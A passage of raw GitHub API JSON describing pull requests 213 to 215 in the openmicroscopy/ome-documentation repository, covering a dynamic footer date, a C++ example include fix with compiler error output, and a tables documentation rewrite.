year","state":"closed","number":215,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/215","head":{"user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"label":"bpindelski:doc-date","repo":{"forks":1,"svn_url":"https://github.com/bpindelski/ome-documentation","merges_url":"https://api.github.com/repos/bpindelski/ome-documentation/merges","languages_url":"https://api.github.com/repos/bpindelski/ome-documentation/languages","assignees_url":"https://api.github.com/repos/bpindelski/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/bpindelski/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/bpindelski/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"open_issues":0,"updated_at":"2013-01-22T10:13:55Z","milestones_url":"https://api.github.com/repos/bpindelski/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/bpindelski/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/bpindelski/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/bpindelski/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/bpindelski/ome-documentation/events","notifications_url":"https://api.github.com/repos/bpindelski/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/bpindelski/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/bpindelski/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/bpindelski/ome-documentation/collaborators{/collaborator}","full_name":"bpindelski/ome-documentation","ssh_url":"git@github.com:bpindelski/ome-documentation.git","pulls_url":"https://api.github.com/repos/bpindelski/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":1,"subscription_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscription","teams_url":"https://api.github.com/repos/bpindelski/ome-documentation/teams","watchers":0,"created_at":"2012-08-14T09:55:03Z","git_url":"git://github.com/bpindelski/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/bpindelski/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/bpindelski/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/bpindelski/ome-documentation/keys{/key_id}","size":280,"compare_url":"https://api.github.com/repos/bpindelski/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/bpindelski/ome-documentation/hooks","fork":true,"html_url":"https://github.com/bpindelski/ome-documentation","clone_url":"https://github.com/bpindelski/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/bpindelski/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/events{/number}","private":false,"id":5411049,"pushed_at":"2013-01-22T10:13:53Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/bpindelski/ome-documentation/forks"},"sha":"9554b121b7e3866499f060b0fc4502a9e9beb6e2","ref":"doc-date"},"assignee":null,"updated_at":"2013-01-17T20:41:17Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/215/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/215/commits","closed_at":"2013-01-17T20:41:16Z","user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/215","merged_at":"2013-01-17T20:41:16Z","merge_commit_sha":"f2564d40dbb22e517a4044acc664c125b4f78316","created_at":"2013-01-17T15:25:59Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/215/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/215.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/215","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"As @hflynn noticed, the date in the documentation footer was a static string. With this PR it'll be formatted to the current year in which the docs have been built (depending on the settings of the build system).","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/215.diff","id":3721230,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"06d64f21d98da8a4eb8218a4c955edb88746c8e2","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/214/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/214"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/214"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/214"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/214/comments"}},"title":"Fixed forward declartion incomplete type error in c++ example code (rebased onto develop)","state":"closed","number":214,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/214","head":{"user":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"label":"jburel:rebased/develop/dev_4_4","repo":{"forks":0,"svn_url":"https://github.com/jburel/ome-documentation","merges_url":"https://api.github.com/repos/jburel/ome-documentation/merges","languages_url":"https://api.github.com/repos/jburel/ome-documentation/languages","assignees_url":"https://api.github.com/repos/jburel/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/jburel/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/jburel/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/jburel/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"open_issues":0,"updated_at":"2013-01-18T09:49:33Z","milestones_url":"https://api.github.com/repos/jburel/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/jburel/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/jburel/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/jburel/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/jburel/ome-documentation/events","notifications_url":"https://api.github.com/repos/jburel/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/jburel/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/jburel/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/jburel/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/jburel/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/jburel/ome-documentation/collaborators{/collaborator}","full_name":"jburel/ome-documentation","ssh_url":"git@github.com:jburel/ome-documentation.git","pulls_url":"https://api.github.com/repos/jburel/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/jburel/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/jburel/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/jburel/ome-documentation/subscription","teams_url":"https://api.github.com/repos/jburel/ome-documentation/teams","watchers":2,"created_at":"2012-01-17T14:12:05Z","git_url":"git://github.com/jburel/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/jburel/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/jburel/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/jburel/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/jburel/ome-documentation/keys{/key_id}","size":292,"compare_url":"https://api.github.com/repos/jburel/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/jburel/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/jburel/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/jburel/ome-documentation/hooks","fork":true,"html_url":"https://github.com/jburel/ome-documentation","clone_url":"https://github.com/jburel/ome-documentation.git","watchers_count":2,"git_refs_url":"https://api.github.com/repos/jburel/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":null,"contents_url":"https://api.github.com/repos/jburel/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/jburel/ome-documentation/issues/events{/number}","private":false,"id":3199804,"pushed_at":"2013-01-16T19:23:39Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/jburel/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/jburel/ome-documentation/forks"},"sha":"e4158a87a77b307142fad3eab48ddaecdd306216","ref":"rebased/develop/dev_4_4"},"assignee":null,"updated_at":"2013-01-18T09:49:33Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/214/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/214/commits","closed_at":"2013-01-17T08:44:43Z","user":{"type":"User","url":"https://api.github.com/users/jburel","received_events_url":"https://api.github.com/users/jburel/received_events","login":"jburel","events_url":"https://api.github.com/users/jburel/events{/privacy}","organizations_url":"https://api.github.com/users/jburel/orgs","avatar_url":"https://secure.gravatar.com/avatar/e1f7a610652e5e71eda0b0b8381c3f98?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/jburel/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/jburel/gists{/gist_id}","gravatar_id":"e1f7a610652e5e71eda0b0b8381c3f98","followers_url":"https://api.github.com/users/jburel/followers","id":1022396,"repos_url":"https://api.github.com/users/jburel/repos","subscriptions_url":"https://api.github.com/users/jburel/subscriptions","following_url":"https://api.github.com/users/jburel/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/214","merged_at":"2013-01-17T08:44:43Z","merge_commit_sha":"f2933c2d7c257bc54fe54c0d0921506faa7bae4b","created_at":"2013-01-16T19:24:22Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/214/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/214.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/214","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-206 but rebased onto develop.\n\n----\n\nCompiling the existing example code results in an incomplete type error as omero/client.h includes omero/ServicesF.h which forward declares IAdmin\r\n\r\nFix by including omero/api/IAdmin.h\r\n\r\n```\r\ng++ -c -o yourcode.o yourcode.cpp -I/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include -I/home/dpwrussell/Ice/home/Ice-3.3.1//include \r\nyourcode.cpp: In function ‘int main(int, char**)’:\r\nyourcode.cpp:30:18: error: invalid use of incomplete type ‘struct IceProxy::omero::api::IAdmin’\r\n/home/dpwrussell/Ice/omero/OMERO.cpp-4.4.5-ice33-posix-gcc-4.6.3-64dbg/include/omero/ServicesF.h:60:7: error: forward declaration of ‘struct IceProxy::omero::api::IAdmin’\r\nmake: *** [yourcode.o] Error 1\r\n```\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/214.diff","id":3706910,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e38561d11128664793c359e81a32be0059a76088","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/213/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/213"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/213"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/213"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/213/comments"}},"title":"Tables documentation partial rewrite 9957 (rebased onto develop)","state":"closed","number":213,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/213","head":{"user":{"type":"User","url":"https://api.github.com/users/manics","received_events_url":"https://api.github.com/users/manics/received_events","login":"manics","events_url":"https://api.github.com/users/manics/events{/privacy}","organizations_url":"https://api.github.com/users/manics/orgs","avatar_url":"https://secure.gravatar.com/avatar/a840b00f848faf9c64699f092fc4c745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/manics/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/manics/gists{/gist_id}","gravatar_id":"a840b00f848faf9c64699f092fc4c745","followers_url":"https://api.github.com/users/manics/followers","id":1644105,"repos_url":"https://api.github.com/users/manics/repos","subscriptions_url":"https://api.github.com/users/manics/subscriptions","following_url":"https://api.github.com/users/manics/following"},"label":"manics:rebased/develop/tables_arraycolumns_9957","repo":{"forks":0,"svn_url":"https://github.com/manics/ome-documentation","merges_url":"https://api.github.com/repos/manics/ome-documentation/merges","languages_url":"https://api.github.com/repos/manics/ome-documentation/languages","assignees_url":"https://api.github.com/repos/manics/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/manics/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/manics/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/manics/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/manics","received_events_url":"https://api.github.com/users/manics/received_events","login":"manics","events_url":"https://api.github.com/users/manics/events{/privacy}","organizations_url":"https://api.github.com/users/manics/orgs","avatar_url":"https://secure.gravatar.com/avatar/a840b00f848faf9c64699f092fc4c745?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/manics/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/manics/gists{/gist_id}","gravatar_id":"a840b00f848faf9c64699f092fc4c745","followers_url":"https://api.github.com/users/manics/followers","id":1644105,"repos_url":"https://api.github.com/users/manics/repos","subscriptions_url":"https://api.github.com/users/manics/subscriptions","following_url":"https://api.github.com/users/manics/following"},"open_issues":0,"updated_at":"2013-01-17T10:39:59Z","milestones_url":"https://api.github.com/repos/manics/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/manics/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/manics/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/manics/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/manics/ome-documentation/events","notifications_url":"https://api.github.com/repos/manics/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/manics/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/manics/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/manics/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/manics/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/manics/ome-documentation/collaborators{/collaborator}","full_name":"manics/ome-documentation","ssh_url":"git@github.com:manics/ome-documentation.git","pulls_url":"https://api.github.com/repos/manics/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/manics/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/manics/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/manics/ome-documentation/subscription","teams_url":"https://api.github.com/repos/manics/ome-documentation/teams","watchers":0,"created_at":"2012-10-08T11:43:13Z","git_url":"git://github.com/manics/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/manics/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/manics/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/manics/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/manics/ome-documentation/keys{/key_id}","size":2584,"compare_url":"https://api.github.com/repos/manics/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/manics/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/manics/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/manics/ome-documentation/hooks","fork":true,"html_url":"https://github.com/manics/ome-documentation","master_branch":"develop","clone_url":"https://github.com/manics/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/manics/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment 